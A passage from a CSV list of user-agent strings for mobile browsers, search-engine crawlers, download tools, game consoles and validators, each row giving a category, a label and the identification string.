Safari/525\"\nMobile Devices,T68 (WML),SonyEricssonT68/R201A\nMobile Devices,T100 (WML),SonyEricssonT100/R101\nMobile Devices,T610,SonyEricssonT610/R201 Profile/MIDP-1.0 Configuration/CLDC-1.0\nMobile Devices,T650i,SonyEricssonT650i/R7AA Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1\nMobile Devices,W580i,SonyEricssonW580i/R6BC Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1\nMobile Devices,W660i,SonyEricssonW660i/R6AD Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1\nMobile Devices,W810i,SonyEricssonW810i/R4EA Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.0.0.0\nMobile Devices,W850i,SonyEricssonW850i/R1ED Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1\nMobile Devices,W950i - Opera 8.60 - Symbian OS,SonyEricssonW950i/R100 Mozilla/4.0 (compatible; MSIE 6.0; Symbian OS; 323) Opera 8.60 [en-US]\nMobile Devices,W995,SonyEricssonW995/R1EA Profile/MIDP-2.1 Configuration/CLDC-1.1 UNTRUSTED/1.0\nMobile Devices,X10 - Android 1.6 - Safari 525.20.1,\"Mozilla/5.0 (Linux; U; Android 1.6; es-es; SonyEricssonX10i Build/R1FA016) AppleWebKit/528.5  (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1\"\nMobile Devices,X10i - Android 1.6 - Mobile Safari 525.20.1,\"Mozilla/5.0 (Linux; U; Android 1.6; en-us; SonyEricssonX10i Build/R1AA056) AppleWebKit/528.5  (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1\"\nMobile Devices,Xperia X1 - Opera Mobi 9.5,Opera/9.5 (Microsoft Windows; PPC; Opera Mobi; U) SonyEricssonX1i/R2AA Profile/MIDP-2.0 Configuration/CLDC-1.1\nMobile Devices,Z800i,SonyEricssonZ800/R1Y Browser/SEMC-Browser/4.1 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.0.0.0\nMobile Devices,ZuneHD 4.3 - IEMobile 6.12 - CE,Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.12; Microsoft ZuneHD 4.3)\nMobile Devices,Android - Opera Mini 7.5 (11.1010),Opera/9.80 (Android; Opera Mini/7.5.33361/31.1543; U; en) Presto/2.8.119 Version/11.1010\nMobile Devices,Android - Firefox 35.0,Mozilla/5.0 (Android; Mobile; rv:35.0) Gecko/35.0 Firefox/35.0\nMobile Devices,Android 6.0.1 - Firefox 48.0 - (Samsung SM-G935F),Mozilla/5.0 (Android 6.0.1; Mobile; rv:48.0) Gecko/48.0 Firefox/48.0\nMobile Devices,Android 0.5 - Safari 419,\"Mozilla/5.0 (Linux; U; Android 0.5; en-us) AppleWebKit/522  (KHTML, like Gecko) Safari/419.3\"\nMobile Devices,Android 1.1 - Mobile Safari 523,\"Mozilla/5.0 (Linux; U; Android 1.1; en-gb; dream) AppleWebKit/525.10  (KHTML, like Gecko) Version/3.0.4 Mobile Safari/523.12.2\"\nMobile Devices,Android 1.5 - HTC Dream - Mobile Safari 525,\"HTC_Dream Mozilla/5.0 (Linux; U; Android 1.5; en-ca; Build/CUPCAKE) AppleWebKit/528.5  (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1\"\nMobile Devices,Android 2.0 - Motorola Droid - Mobile Safari 530.17,\"Mozilla/5.0 (Linux; U; Android 2.0; en-us; Droid Build/ESD20) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17\"\nMobile Devices,Android 2.1 - Nexus One - Safari 530.17,\"Mozilla/5.0 (Linux; U; Android 2.1; en-us; Nexus One Build/ERD62) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17\"\nMobile Devices,Android 2.2 - HTC Evo - Mobile Safari 533.1,\"Mozilla/5.0 (Linux; U; Android 2.2; en-us; Sprint APA9292KT Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\"\nMobile Devices,Android 2.2 - HTC Incredible - Safari 533.1,\"Mozilla/5.0 (Linux; U; Android 2.2; en-us; ADR6300 Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\"\nMobile Devices,Android 2.2 - Samsung Galaxy - Mobile Safari 533.1,\"Mozilla/5.0 (Linux; U; Android 2.2; en-ca; GT-P1000M Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\"\nMobile Devices,Android - Fennec 2.0.1 (arm),Mozilla/5.0 (Android; Linux armv7l; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Fennec/2.0.1\nMobile Devices,Android - 3.0.1 - Safari 534.13 - Acer Iconia,\"Mozilla/5.0 (Linux; U; Android 3.0.1; fr-fr; A500 Build/HRI66) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13\"\nMobile Devices,Android - 3.0.1 - Mobile Safari 523.12 - Motorola Xoom,\"Mozilla/5.0 (Linux; U; Android 3.0; en-us; Xoom Build/HRI39) AppleWebKit/525.10  (KHTML, like Gecko) Version/3.0.4 Mobile Safari/523.12.2\"\nMobile Devices,Android 4.0.3 - Mobile Safari 534.30 - HTC Sensation,\"Mozilla/5.0 (Linux; U; Android 4.0.3; de-ch; HTC Sensation Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\"\nMobile Devices,Android 4.0.3 - Mobile Safari 534.30 - Samsung Galaxy S II,\"Mozilla/5.0 (Linux; U; Android 4.0.3; de-de; Galaxy S II Build/GRJ22) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\"\nMobile Devices,Android 4.0.4 - Opera 12.00,Opera/9.80 (Android 4.0.4; Linux; Opera Mobi/ADR-1205181138; U; pl) Presto/2.10.254 Version/12.00\nMobile Devices,Android - Fennec 10.0.1,Mozilla/5.0 (Android; Linux armv7l; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 Fennec/10.0.1\nMobile Devices,Android 4.1.2 - Chrome 30.0,\"Mozilla/5.0 (Linux; Android 4.1.2; SHV-E250S Build/JZO54K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.82 Mobile Safari/537.36\"\nMobile Devices,Android 4.2 - Firefox 19.0,Mozilla/5.0 (Android 4.2; rv:19.0) Gecko/20121129 Firefox/19.0\nMobile Devices,Android 4.3 - AppleWebKit/536.23,\"Mozilla/5.0 (Linux; U; Android 4.3; en-us; sdk Build/MR1) AppleWebKit/536.23 (KHTML, like Gecko) Version/4.3 Mobile Safari/536.23\"\nMobile Devices,Android 4.4 - (Nexus 5) - AppleWebKit/536.23,\"Mozilla/5.0 (Linux; Android 4.4; Nexus 5 Build/BuildID) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Mobile Safari/537.36\"\nMobile Devices,Android 4.4.2 - Chrome 35.0,Mozilla/5.0 (Linux; Android 4.4.2; SAMSUNG-SM-T537A Build/KOT49H) AppleWebKit/537.36 (KHTML like Gecko) Chrome/35.0.1916.141 Safari/537.36\nMobile Devices,Android 4.4.2 - Chrome 51.0,\"Mozilla/5.0 (Linux; Android 4.4.2; SM-T230NU Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.81 Safari/537.36\"\nMobile Devices,Android 5.0 - Chrome 45.0 - Galaxy S 4 (SCH-R970),\"Mozilla/5.0 (Linux; Android 5.0.1; SCH-R970 Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Mobile Safari/537.36\"\nMobile Devices,Android 5.0.2 - Chrome 38.0 - Samsung SM-T530NU,\"Mozilla/5.0 (Linux; Android 5.0.2; SAMSUNG SM-T530NU Build/LRX22G) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/3.2 Chrome/38.0.2125.102 Safari/537.36\"\nMobile Devices,Android 5.1.1 - Nexus 7 - Opera 30.0,\"Mozilla/5.0 (Linux; Android 5.1.1; Nexus 7 Build/LMY47V) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.78 Safari/537.36 OPR/30.0.1856.93524\"\nMobile Devices,Android 6.0 - Chrome 52.0 - HTC One M9,\"Mozilla/5.0 (Linux; Android 6.0; HTC One M9 Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.98 Mobile Safari/537.36\"\nMobile Devices,Android 6.0 - Chome 53.0 - LG-D850,\"Mozilla/5.0 (Linux; Android 6.0; LG-D850 Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.97 Mobile Safari/537.36\"\nMobile Devices,Android 6.0 - Chome 53.0 - Nexus 5X,\"Mozilla/5.0 (Linux; Android 6.0; Nexus 5X Build/MDB08L) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.124 Mobile Safari/537.36\"\nMobile Devices,Android 6.0.1 - Chrome 52.0 - Samsung SM-G900H,\"Mozilla/5.0 (Linux; Android 6.0.1; SM-G900H Build/MMB29K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.98 Mobile Safari/537.36\"\nMobile Devices,Android 7.0 - Chrome 53.0 - Nexus 9,\"Mozilla/5.0 (Linux; Android 7.0; Nexus 9 Build/NRD90R) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.124 Safari/537.36\"\nMobile Devices,Android 7.0 - Chome 56.0 - LG-H918,\"Mozilla/5.0 (Linux; Android 7.0; LG-H918 Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Mobile Safari/537.36\"\nMobile Devices,Android 8.0.0 - Chrome 60.0 - Pixel XL OPR6,\"Mozilla/5.0 (Linux; Android 8.0.0; Pixel XL Build/OPR6.170623.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36\"\nMobile Devices,Android 8.0.0 - Chrome 60.0 - Pixel XL OPR6,\"Mozilla/5.0 (Linux; Android 8.0.0; Pixel XL Build/OPR6.170623.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36\"\nMobile Devices,iOS 1.0 - iPhone - Safari 419.3,\"Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420  (KHTML, like Gecko) Version/3.0 Mobile/1A543a Safari/419.3\"\nMobile Devices,iOS 2.0 - iPhone - Safari 525.200,\"Mozilla/5.0 (iPhone; U; CPU iPhone OS 2_0 like Mac OS X; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5A347 Safari/525.200\"\nMobile Devices,iOS 2.2.1 - iPod - Safari 525.20,\"Mozilla/5.0 (iPod; U; CPU iPhone OS 2_2_1 like Mac OS X; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5H11a Safari/525.20\"\nMobile Devices,iOS 3.0 - iPhone - Safari 528.16,\"Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16\"\nMobile Devices,iOS 3.2 - iPad - Safari 531,\"Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10\"\nMobile Devices,iOS 4_2_1 - iPad - Safari 533,\"Mozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; ja-jp) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5\"\nMobile Devices,iOS 4_2_1 - iPhone - Safari 533.17.9,\"Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X; da-dk) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5\"\nMobile Devices,iOS 4_3 - iPhone - Safari 533.17.9,\"Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3 like Mac OS X; de-de) AppleWebKit/533.17.9 (KHTML, like Gecko) Mobile/8F190\"\nMobile Devices,CFNetwork - iPhone - MobileSafari 600.1.4,MobileSafari/600.1.4 CFNetwork/711.1.12 Darwin/14.0.0\nMobile Devices,iOS 5_1_1 - iPhone - Chrome (crios) 19.0.1084.60,\"Mozilla/5.0 (iPhone; U; CPU iPhone OS 5_1_1 like Mac OS X; da-dk) AppleWebKit/534.46.0 (KHTML, like Gecko) CriOS/19.0.1084.60 Mobile/9B206 Safari/7534.48.3\"\nMobile Devices,iOS 9_2 - iPhone - Safari 9.0,\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_2 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13C75 Safari/601.1\"\nMobile Devices,iOS 11_0 - iPhone -  Safari 11,\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A5362a Safari/604.1\"\nMobile Devices,Linux - Fennec 2.0.1 (686 on x86_64),Mozilla/5.0 (X11; Linux i686 on x86_64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Fennec/2.0.1\nMobile Devices,Maemo - Fennec 2.0.1 (arm),Mozilla/5.0 (Maemo; Linux armv7l; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Fennec/2.0.1\nMobile Devices,Palm WebOS 1.3 - Safari 525,\"Mozilla/5.0 (webOS/1.3; U; en-US) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/1.0 Safari/525.27.1 Desktop/1.0\"\nMobile Devices,PalmSource hspr-H102 - Palm Treo 650,Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; PalmSource/hspr-H102; Blazer/4.0) 16;320x320\nMobile Devices,Symbian 3 - N8 - Safari 525,\"Mozilla/5.0 (Symbian/3; Series60/5.2 NokiaN8-00/014.002; Profile/MIDP-2.1 Configuration/CLDC-1.1; en-us) AppleWebKit/525 (KHTML, like Gecko) Version/3.0 BrowserNG/7.2.6.4 3gpp-gba\"\nMobile Devices,Symbian 3 - Nokia X7 - Safari 533.4,\"Mozilla/5.0 (Symbian/3; Series60/5.2 NokiaX7-00/021.004; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/533.4 (KHTML, like Gecko) NokiaBrowser/7.3.1.21 Mobile Safari/533.4 3gpp-gba\"\nMobile Devices,SymbianOS 9.2 - Nokia E90 - Safari,\"Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaE90-1/07.24.0.3; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413 UP.Link/6.2.3.18.0\"\nMobile Devices,SymbianOS 9.4 - Nokia N97 - WicKed 7.1.12344,\"Mozilla/5.0 (SymbianOS 9.4; Series60/5.0 NokiaN97-1/10.0.012; Profile/MIDP-2.1 Configuration/CLDC-1.1; en-us) AppleWebKit/525 (KHTML, like Gecko) WicKed/7.1.12344\"\nMobile Devices,SymbOS - Opera 10.00 Mobi,Opera/9.80 (S60; SymbOS; Opera Mobi/499; U; ru) Presto/2.4.18 Version/10.00\nMobile Devices,Windows CE - ZuneHD 4.3 - IEMobile 6.12,Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.12; Microsoft ZuneHD 4.3)\nMobile Devices,Windows CE - MSIE 6 - IEMobile 7.11,Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 7.11)\nMobile Devices,Windows CE 5.2 - Sprint (HTC Titan) - IEMobile 7.11 (MSIE 6.0),Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 7.11) Sprint:PPC6800\nMobile Devices,Windows CE - MSIE 6 - IEMobile 8.12,Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 8.12; MSIEMobile6.0)\nMobile Devices,WP 7.0 - Asus Galaxy - IEMobile 7.0 (MSIE 7.0),Mozilla/4.0 (compatible; MSIE 7.0; Windows Phone OS 7.0; Trident/3.1; IEMobile/7.0) Asus;Galaxy6\nMobile Devices,WP 7 - MSIE 7 - IEMobile 7.0,Mozilla/4.0 (compatible; MSIE 7.0; Windows Phone OS 7.0; Trident/3.1; IEMobile/7.0)\nMobile Devices,WP 7.5 - IEMobile 9.0,Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0)\nMobile Devices,WP 8.0 - ARM - IEMobile 10.0,Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch)\nMobile Devices,WP 8.0 - Nokia Lumia 620 ARM - IEMobile 10.0,Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920)\nMobile Devices,WP 8.1 - Lumia 530 ARM - IEMobile 11.0,Mozilla/5.0 (Windows Phone 8.1; ARM; Trident/7.0; Touch; rv:11.0; IEMobile/11.0; NOKIA; Lumia 530) like Gecko\nMobile Devices,WP 8.0 - Lumia 620 ARM - IEMobile 10.0,Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920)\nMobile Devices,WP 8.1 - Lumia 630 ARM - IEMobile 11.0,Mozilla/5.0 (Windows Phone 8.1; ARM; Trident/7.0; Touch; rv:11.0; IEMobile/11.0; NOKIA; Lumia 630) like Gecko\nMobile Devices,NT 6.2 (odd id) - Lumia 635 ARM - IEMobile 11.0,Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; NOKIA; Lumia 635) like Gecko\nMobile Devices,NT 6.2 (odd id) - Lumia 920 ARM - IEMobile 11.0,Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; NOKIA; Lumia 920) like Geckoo\nMobile Devices,WP 8.1 - Lumia 920 ARM - IEMobile 11.0,Mozilla/5.0 (Windows Phone 8.1; ARM; Trident/7.0; Touch; rv:11.0; IEMobile/11.0; NOKIA; Lumia 920) like Gecko\nMobile Devices,WP 8.1 - Lumia 929 ARM - IEMobile 11.0,\"Mozilla/5.0 (Mobile; Windows Phone 8.1; Android 4.0; ARM; Trident/7.0; Touch; rv:11.0; IEMobile/11.0; NOKIA; Lumia 929) like iPhone OS 7_0_3 Mac OS X AppleWebKit/537 (KHTML, like Gecko) Mobile Safari/537\"\nMobile Devices,WP 10.0 - webkit 537.36 - Edge 12.0,\"Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Mobile Safari/537.36 Edge/12.0\"\nMobile Devices,WP 10.0 - webkit 537.36 - Edge 14.14,\"Mozilla/5.0 (Windows NT 10.0; ARM; Lumia 950 Dual SIM) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393\"\nMobile Devices,DoCoMo 2.0,DoCoMo/2.0 SH901iC(c100;TB;W24H12)\nMobile Devices,Novarra-Vision 6.9,Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 MG(Novarra-Vision/6.9)\nMobile Devices,ReqwirelessWeb 3.5,Mozilla/4.0 (compatible; MSIE 6.0; j2me) ReqwirelessWeb/3.5\nMobile Devices,Vodafone 1.0,Vodafone/1.0/V802SE/SEJ001 Browser/SEMC-Browser/4.1\nMobile Devices,BlackBerry (Google WAP),BlackBerry7520/4.0.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Browser/5.0.3.3 UP.Link/5.1.2.12 (Google WAP Proxy/1.0)\nMobile Devices,Nokia (6100) WAP,Nokia6100/1.0 (04.01) Profile/MIDP-1.0 Configuration/CLDC-1.0\nMobile Devices,Nokia 6630,Nokia6630/1.0 (2.3.129) SymbianOS/8.0 Series60/2.6 Profile/MIDP-2.0 Configuration/CLDC-1.1\nSpiders - Search,Ask Jeeves/Teoma,Mozilla/2.0 (compatible; Ask Jeeves/Teoma)\nSpiders - Search,Baiduspider,Baiduspider ( http://www.baidu.com/search/spider.htm)\nSpiders - Search,BingBot 2.0 (renamed Msnbot),Mozilla/5.0 (compatible; bingbot/2.0  http://www.bing.com/bingbot.htm)\nSpiders - Search,Exabot 3.0,Mozilla/5.0 (compatible; Exabot/3.0;  http://www.exabot.com/go/robot)\nSpiders - Search,FAST-WebCrawler 3.8,FAST-WebCrawler/3.8 (crawler at trd dot overture dot com; http://www.alltheweb.com/help/webmaster/crawler)\nSpiders - Search,Google AdsBot 1.0,AdsBot-Google ( http://www.google.com/adsbot.html)\nSpiders - Search,Googlebot 2.1 (New version),Mozilla/5.0 (compatible; Googlebot/2.1;  http://www.google.com/bot.html)\nSpiders - Search,Googlebot 2.1 (Older Version),Googlebot/2.1 ( http://www.googlebot.com/bot.html)\nSpiders - Search,Googlebot-Image 1.0,Googlebot-Image/1.0\nSpiders - Search,Googlebot MediaPartners,Mediapartners-Google\nSpiders - Search,Googlebot-Mobile 2.1 (ID: DoCoMo/2.0),DoCoMo/2.0 N905i(c100;TB;W24H16) (compatible; Googlebot-Mobile/2.1;  http://www.google.com/bot.html)\nSpiders - Search,Googlebot-Mobile 2.1 (ID: iPhone),Mozilla/5.0 (iPhone; U; CPU iPhone OS) (compatible; Googlebot-Mobile/2.1;  http://www.google.com/bot.html)\nSpiders - Search,Googlebot-Mobile 2.1 (ID: SAMSUNG-SGH-E250),SAMSUNG-SGH-E250/1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Browser/6.2.3.3.c.1.101 (GUI) MMP/2.0 (compatible; Googlebot-Mobile/2.1;  http://www.google.com/bot.html)\nSpiders - Search,Googlebot-News,Googlebot-News\nSpiders - Search,Googlebot-Video,Googlebot-Video/1.0\nSpiders - Search,Google Toolbar 4.0 (XP - MSIE 6),Mozilla/4.0 (compatible; GoogleToolbar 4.0.1019.5266-big; Windows XP 5.1; MSIE 6.0.2900.2180)\nSpiders - Search,Google Web Preview,\"Mozilla/5.0 (en-us) AppleWebKit/525.13 (KHTML, like Gecko; Google Web Preview) Version/3.1 Safari/525.13\"\nSpiders - Search,Msnbot 1.0 (current version),msnbot/1.0 ( http://search.msn.com/msnbot.htm)\nSpiders - Search,Msnbot 1.1,msnbot/1.1 ( http://search.msn.com/msnbot.htm)\nSpiders - Search,Msnbot 0.11 (beta version),msnbot/0.11 ( http://search.msn.com/msnbot.htm)\nSpiders - Search,Msnbot-Media 1.1,msnbot-media/1.1 ( http://search.msn.com/msnbot.htm)\nSpiders - Search,Yahoo Slurp,Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)\nSpiders - Search,Yahoo Slurp China,Mozilla/5.0 (compatible; Yahoo! Slurp China; http://misc.yahoo.com.cn/help.html)\nSpiders - Search,Yandex 3.0,Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)\nSpiders - Search,YandexNews 4.0,Mozilla/5.0 (compatible; YandexNews/4.0; +http://yandex.com/bots)\nMiscellaneous,Archive.org,Mozilla/5.0 (compatible; archive.org_bot +http://www.archive.org/details/archive.org_bot)\nMiscellaneous,Archive.org Wayback Machine Live,Mozilla/5.0 (compatible; archive.org_bot; Wayback Machine Live Record; +http://archive.org/details/archive.org_bot)\nMiscellaneous,Alexa site audit,Mozilla/5.0 (compatible; alexa site audit/1.0; +http://www.alexa.com/help/webmasters; )\nMiscellaneous,Email Wolf,EmailWolf 1.00\nMiscellaneous,Facebookexternalhit 1.1 (short version),facebookexternalhit/1.1\nMiscellaneous,Facebookexternalhit 1.1,facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)\nMiscellaneous,Facebot,Facebot\nMiscellaneous,Gaisbot 3.0,Gaisbot/3.0 (robot@gais.cs.ccu.edu.tw; http://gais.cs.ccu.edu.tw/robot.php)\nMiscellaneous,Grub-Client,grub-client-1.5.3; (grub-client-1.5.3; Crawl your own stuff with http://grub.org)\nMiscellaneous,gulperbot,Gulper Web Bot 0.2.4 (www.ecsl.cs.sunysb.edu/~maxim/cgi-bin/Link/GulperBot)\nMiscellaneous,Screaming Frog SEO Spider 8.1,Screaming Frog SEO Spider/8.1\nMiscellaneous,TurnitinBot,TurnitinBot (https://turnitin.com/robot/crawlerinfo.html)\nMiscellaneous,Twitterbot 1.0,Twitterbot/1.0\nMiscellaneous,Xenu Link Sleuth 1.3.8,Xenu Link Sleuth/1.3.8\nMiscellaneous,Net Positive 2.1,Mozilla/3.0 (compatible; NetPositive/2.1.1; BeOS)\nMiscellaneous,SeaMonkey 1.5a,Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.9a1) Gecko/20060702 SeaMonkey/1.5a\nMiscellaneous,Arora 0.11.0,\"Mozilla/5.0 (OS/2; U; OS/2; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Arora/0.11.0 Safari/533.3\"\nMiscellaneous,Firefox 10.0.12 - OS/2 Warp 4.5,Mozilla/5.0 (OS/2; Warp 4.5; rv:10.0.12) Gecko/20100101 Firefox/10.0.12\nMiscellaneous,Firefox 24.0 - OS/2 Warp 4.5,Mozilla/5.0 (OS/2; Warp 4.5; rv:24.0) Gecko/20100101 Firefox/24.0\nMiscellaneous,Firefox 31.0 - OS/2 Warp 4.5,Mozilla/5.0 (OS/2; Warp 4.5; rv:31.0) Gecko/20100101 Firefox/31.0\nMiscellaneous,Firefox 38.0 - OS/2 Warp 4.5,Mozilla/5.0 (OS/2; Warp 4.5; rv:38.0) Gecko/20100101 Firefox/38.0\nMiscellaneous,Firefox 45.0 - OS/2 Warp 4.5,Mozilla/5.0 (OS/2; Warp 4.5; rv:45.0) Gecko/20100101 Firefox/45.0\nMiscellaneous,QupZilla 1.3.1,\"Mozilla/5.0 (OS/2; U; OS/2; en-US) AppleWebKit/533.3 (KHTML, like Gecko) QupZilla/1.3.1 Safari/533.3\"\nMiscellaneous,SeaMonkey 2.7.2  - OS/2 Warp 4.5,Mozilla/5.0 (OS/2; Warp 4.5; rv:10.0.12) Gecko/20130108 Firefox/10.0.12 SeaMonkey/2.7.2\nMiscellaneous,SeaMonkey 2.21 - OS/2 Warp 4.5,Mozilla/5.0 (OS/2; Warp 4.5; rv:24.0) Gecko/20100101 Firefox/24.0 SeaMonkey/2.21\nMiscellaneous,SeaMonkey 2.28 - OS/2 Warp 4.5,Mozilla/5.0 (OS/2; Warp 4.5; rv:31.0) Gecko/20100101 Firefox/31.0 SeaMonkey/2.28\nMiscellaneous,SeaMonkey 2.35 - OS/2 Warp 4.5,Mozilla/5.0 (OS/2; Warp 4.5; rv:38.0) Gecko/20100101 Firefox/38.0 SeaMonkey/2.35\nMiscellaneous,SeaMonkey 2.42 - OS/2 Warp 4.5,Mozilla/5.0 (OS/2; Warp 4.5; rv:45.0) Gecko/20100101 Firefox/45.0 SeaMonkey/2.42.9esr\nMiscellaneous,Adobe Application Manager 2.0,Adobe Application Manager 2.0\nMiscellaneous,Android (5.1) Download Manager,AndroidDownloadManager/5.1 (Linux; U; Android 5.1; Z820 Build/LMY47D)\nMiscellaneous,Download Demon,Download Demon/3.5.0.11\nMiscellaneous,Offline Explorer 2.5,Offline Explorer/2.5\nMiscellaneous,SuperBot 4.4.0 (Win XP),SuperBot/4.4.0.60 (Windows XP)\nMiscellaneous,WebCopier v4.6,WebCopier v4.6\nMiscellaneous,Web Downloader 6.9,Web Downloader/6.9\nMiscellaneous,WebZIP 3.5,WebZIP/3.5 (http://www.spidersoft.com)\nMiscellaneous,Wget 1.9 (Redhat),Wget/1.9 cvs-stable (Red Hat modified)\nMiscellaneous,Wget 1.9.1,Wget/1.9.1\nMiscellaneous,Wget 1.12 (FreeBSD),Wget/1.12 (freebsd8.1)\nMiscellaneous,Bloglines 3.1,Bloglines/3.1 (http://www.bloglines.com)\nMiscellaneous,everyfeed spider 2.0,everyfeed-spider/2.0 (http://www.everyfeed.com)\nMiscellaneous,Google Feed Fetcher,FeedFetcher-Google; ( http://www.google.com/feedfetcher.html)\nMiscellaneous,Gregarius 0.5.2,Gregarius/0.5.2 ( http://devlog.gregarius.net/docs/ua)\nMiscellaneous,Playstation 3 (2.00),Mozilla/5.0 (PLAYSTATION 3; 2.00)\nMiscellaneous,Playstation 3 (1.10),Mozilla/5.0 (PLAYSTATION 3; 1.10)\nMiscellaneous,PSP (2.00),Mozilla/4.0 (PSP (PlayStation Portable); 2.00)\nMiscellaneous,Wii 2.0.4.7-7,Opera/9.30 (Nintendo Wii; U; ; 2047-7; en)\nMiscellaneous,Wii libnup (1.00),wii libnup/1.0\nMiscellaneous,Java 1.6.0_13,Java/1.6.0_13\nMiscellaneous,libwww-perl 5.820,libwww-perl/5.820\nMiscellaneous,Peach 1.01,Peach/1.01 (Ubuntu 8.04 LTS; U; en)\nMiscellaneous,Python-urllib 2.5,Python-urllib/2.5\nMiscellaneous,HTMLParser (1.60),HTMLParser/1.6\nMiscellaneous,W3C CSS Validator,Jigsaw/2.2.5 W3C_CSS_Validator_JFouffa/2.0\nMiscellaneous,W3C (X)HTML Validator (1.654),W3C_Validator/1.654\nMiscellaneous,W3C (X)HTML Validator (1.305.2.12),W3C_Validator/1.305.2.12 libwww-perl/5.64\nMiscellaneous,W3C P3P Validator,P3P 